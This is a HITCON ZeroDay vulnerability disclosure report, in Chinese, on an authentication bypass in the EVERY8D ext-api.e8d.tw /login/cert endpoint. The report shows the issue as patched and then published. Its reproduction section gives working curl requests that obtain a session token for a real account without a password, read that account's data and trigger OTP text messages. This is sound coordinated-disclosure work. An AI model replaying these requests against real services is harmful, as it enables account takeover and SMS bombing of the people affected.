互動資通 EVERY8D ext-api.e8d.tw /login/cert 無需密碼取得任意帳號 Token(認證繞過) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00637
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 EVERY8D ext-api.e8d.tw /login/cert 無需密碼取得任意帳號 Token(認證繞過)
  • Introduction: /login/cert 端點無伺服器端密碼驗證,任意人只需提供帳號名稱即可直接取得有效 session token 完全繞過認證。

處理狀態

目前狀態

公開
Last Update : 2026/08/13
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/07 01:28:22 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/09 17:55:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:54:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:54:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:54:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 11:22:43 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:13:00 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 21:09:40 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/12 10:32:06 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/13 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00637
  • 通報者:guan4tou2 (罐頭)
  • 風險:高
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://ext-api.e8d.tw/login/cert
https://ext-api.e8d.tw/e8d/announce
https://ext-api.e8d.tw/e8d/mfa/GetOTP
https://every8d.teamplus.tech/every8d30/Account/AccountHandler.ashx

敘述

漏洞概述

ext-api.e8d.tw(EVERY8D 外部 API 服務)的 /login/cert 端點在 TeamPlus × EVERY8D 整合登入流程中負責發放 session token。正常流程為:用戶先透過 AccountHandler.ashx?action=login 完成密碼驗證,成功後由前端 JS(GetLoginToken())呼叫 /login/cert 取得 token。但 /login/cert 本身完全無密碼驗證,攻擊者可直接跳過密碼驗證步驟呼叫此端點,取得任意已知帳號的有效 session token。

重現步驟(Live verified: 2026-05-07 re-confirmed)

步驟 1:取得目標帳號名稱

利用已揭露的帳號列舉 oracle(ZD-2026-00633,AccountHandler.ashx 錯誤訊息 (Lv5c) 差異)可確認任意帳號存在性。此步驟非本案主體,帳號名稱亦可透過其他途徑取得(如 EVERY8D 企業入口自行申請帳號)。以下重現以帳號 jenny 為例(已知存在)。

步驟 2:無需密碼取得 jenny 帳號 token

curl -sk -X POST "https://ext-api.e8d.tw/login/cert" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"jenny","ipaddress":"127.0.0.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}'

回應:

{"status":"200","token":"nxE12484535196713021","enterprise":"1","message":"成功"}

→ jenny 帳號的有效 session token 取得,全程無需密碼。

步驟 3:用 bypass token 取得帳號公告資料(確認帳號存取成功)

curl -sk -X POST "https://ext-api.e8d.tw/e8d/announce" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"jenny","token":"nxE12484535196713021","ipaddress":"114.24.70.122","useragent":"Mozilla/5.0","enterprise":"1","version":"production"}'

回應:

{"status":"200","message":"成功","data":[
  {"id":95,"title":"EVERY8D轉專屬網址服務將於2026/6/30停用","content":"...(完整公告內容)..."},
  {"id":90,"title":"【重要】Http API 2.1 URL入口環境移轉","content":"..."}
]}

→ 成功取得 jenny 帳號的系統公告資料,確認 bypass token 具備完整帳號存取能力。

步驟 4:用 bypass token 觸發 OTP 簡訊(確認 MFA 端點也被繞過)

curl -sk -X POST "https://ext-api.e8d.tw/e8d/mfa/GetOTP" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"jenny","token":"nxE12484535196713021","ipaddress":"114.24.70.122","useragent":"Mozilla/5.0","enterprise":"1","version":"production"}'

回應:{"status":"200","message":"成功"} → OTP 簡訊已送至 jenny 登記手機,全程無需密碼。

步驟 5:對比假帳號(確認是後端帳號存在性驗證,非 token 格式問題)

curl -sk -X POST "https://ext-api.e8d.tw/e8d/mfa/GetOTP" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'body={"account":"fake_account_xyz","token":"jJI11809870756780354","ipaddress":"114.24.70.122","useragent":"Mozilla/5.0","enterprise":"1","version":"production"}'

回應:{"status":"397","message":"與MSSQL資料庫連線失敗"} → 假帳號無資料庫記錄,後端查詢失敗,確認 token 本身有效(問題在帳號不存在,非 token 格式)。

已驗證影響(Verified)

  • ✅ 無需密碼取得任意 EVERY8D 帳號 session token(bypass /login/cert)
  • ✅ bypass token 成功存取帳號公告資料(/e8d/announce 200)
  • ✅ bypass token 成功觸發 OTP 簡訊送出(/e8d/mfa/GetOTP 200)
  • ✅ AccountHandler.ashx 使用者枚舉 oracle((Lv5c) 差異)

潛在影響(Potential)

  • 對 MFA 停用租戶(mfaPass=true):bypass token 可直接呼叫 setLoginSessionWithoutMFA → 完整帳號接管(ATO)
  • OTP 簡訊轟炸:攻擊者可對任意 EVERY8D 帳號重複觸發 OTP 簡訊(無 rate limit 觀察到)
  • 組合 AccountHandler oracle + /login/cert bypass:大規模帳號存在枚舉 + token 取得

漏洞根因

/login/cert 端點設計假設只有通過 AccountHandler.ashx?action=login 密碼驗證的前端 JS 才會呼叫它,但伺服器端完全無驗證,任何 HTTP 客戶端皆可直接呼叫。屬於「只在前端做驗證」的典型安全反模式。

修補建議

1. 立即:/login/cert 端點加入伺服器端密碼驗證,或要求提供有效的短效一次性憑證(如由 AccountHandler.ashx login 成功後簽發的 nonce)。
2. 立即:/e8d/mfa/GetOTP 加入 rate limiting(每分鐘/每小時限制),防止 OTP 簡訊轟炸。
3. 短期:AccountHandler.ashx?action=login 統一錯誤訊息,消除帳號存在性差異(移除 (LvXx) 代碼差異)。
4. 短期:稽核所有 ext-api.e8d.tw 端點是否有其他未驗證的 token 接受路徑。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;